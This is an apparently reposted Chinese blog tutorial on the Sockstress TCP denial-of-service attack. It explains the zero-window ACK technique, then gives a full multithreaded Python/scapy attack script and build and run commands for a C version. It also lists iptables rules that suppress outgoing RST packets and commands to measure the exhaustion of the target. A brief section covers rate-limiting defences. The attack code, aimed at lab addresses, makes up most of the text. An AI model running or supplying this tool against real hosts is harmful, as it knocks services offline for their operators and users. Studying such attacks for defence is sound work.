• (三)拒绝服务–Sockstress 攻击


    1. 简介
    2008年由Jack C.Louis 发现
    针对TCP服务的拒绝服务攻击
    消耗被攻击目标系统资源
    与攻击目标建立大量socket链接
    完成三次握手,最后的ACK包中window大小为0 (客户端不接收数据)
    客户端与服务端实时协商,你有多大的窗口我给你传多少资源,这是一个互相协商的过程
    客户端发送完ack后就完毕了,不会太多占用本地资源,而服务器一直处于等待状态。
    攻击者资源消耗小(CPU、内存、带宽)
    异步攻击,单机可拒绝服务高配资源服务器
    Window 窗口实现的TCP 流控
    2. 脚本攻击
    1. python 测试脚本
    #!/usr/bin/python
    #coding=utf-8
    from scapy.all import*
    from time import sleep
    import thread
    import random
    import logging
    import os
    import signal
    import sys
    import signal
    logging.getLogger(“scapy.runtime”).setLevel(logging.ERROR)
    if len(sys.argv) != 4:
    print “用法: ./sockstress.py [IP地址] [端口] [线程数]”
    print “举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态”
    sys.exit()
    target = str(sys.argv[1])
    dstport= int(sys.argv[2])
    threads = int(sys.argv[3])
    ## 攻击函数
    def sockstress(target,dstport) :
    while 0 == 0:
    try:
    x = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = ‘S’),timeout=1,verbose=0)
    send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags=’A’,ack=(response[TCP].seq + 1) )/’x00x00′,verbose=0)
    except:
    pass
    ## 停止攻击函数
    def shutdown(signal,frame):
    print “正在修复 iptables 规则”
    os.system(‘iptables -D OUTPUT -p tcp –tcp-flags RST RST -d ‘+ target +’ -j DROP’)
    sys.exit()
    ## 添加iptables规则
    os.system(‘iptables -A OUTPUT -p tcp –tcp-flags RST RST -d ‘+ target +’ -j DROP’)
    signal.signal(signal.SIGINT, shutdown)
    ## 多线程攻击
    print “ 攻击正在进行…按 Ctrl+C 停止攻击”
    for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))
    ##永远执行
    while 0 == 0:
    sleep(1)
    测试
    ./sockstress.py 192.168.199.158 21 200
    # 查看系统连接数
    netstat | grep ESTABLISHED | wc -l
    2. C 攻击脚本
    下载编译
    github 下载地址
    gcc -Wall -c sockstress.c
    gcc -pthread -o sockstress sockstress.o
    ./sockstress 192.168.199.158:80 eth0
    ./sockstress 192.168.199.158 eth0 -p payloads/http
    防火墙规则
    iptables -A OUTPUT -p TCP –tcp-flags rst rst -d 192.168.199.158 -j DROP
    查看攻击效果
    netstat -tulnp | grep ESTABLISHED | wc -l
    free
    top
    3. 防御措施
    直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
    由于建立完整的TCP三步握手,因此使用syn cookie防御无效
    根本的防御方法是采用白名单(不实际)
    折中对策限制单位时间内每IP建的TCP连接数
    封杀每30秒与 80 端口建立连接超过 10 个的IP地址
    iptables -I INPUT -p tcp –dport 80 -m state –state NEW -m recent –set
    iptables -I INPUT-p tcp -dport 80 -m state –state NEW -m recent –update –seconds 30 –hitcount 10 j DROP
    以上规则对DDOS攻击无效
  • 相关阅读:
    centos7.6 使用yum安装mysql5.7
    解决hadoop本地库问题
    docker-compose 启动警告
    docker 安装zabbix5.0 界面乱码问题解决
    docker 部署zabbix问题
    zookeeper 超时问题
    hbase regionserver异常宕机
    (转载)hadoop 滚动升级
    hadoop Requested data length 86483783 is longer than maximum configured RPC length
    zkfc 异常退出问题,报错Received stat error from Zookeeper. code:CONNECTIONLOSS
  • 原文地址:https://www.cnblogs.com/micr067/p/12519782.html
Copyright © 2020-2023  润新知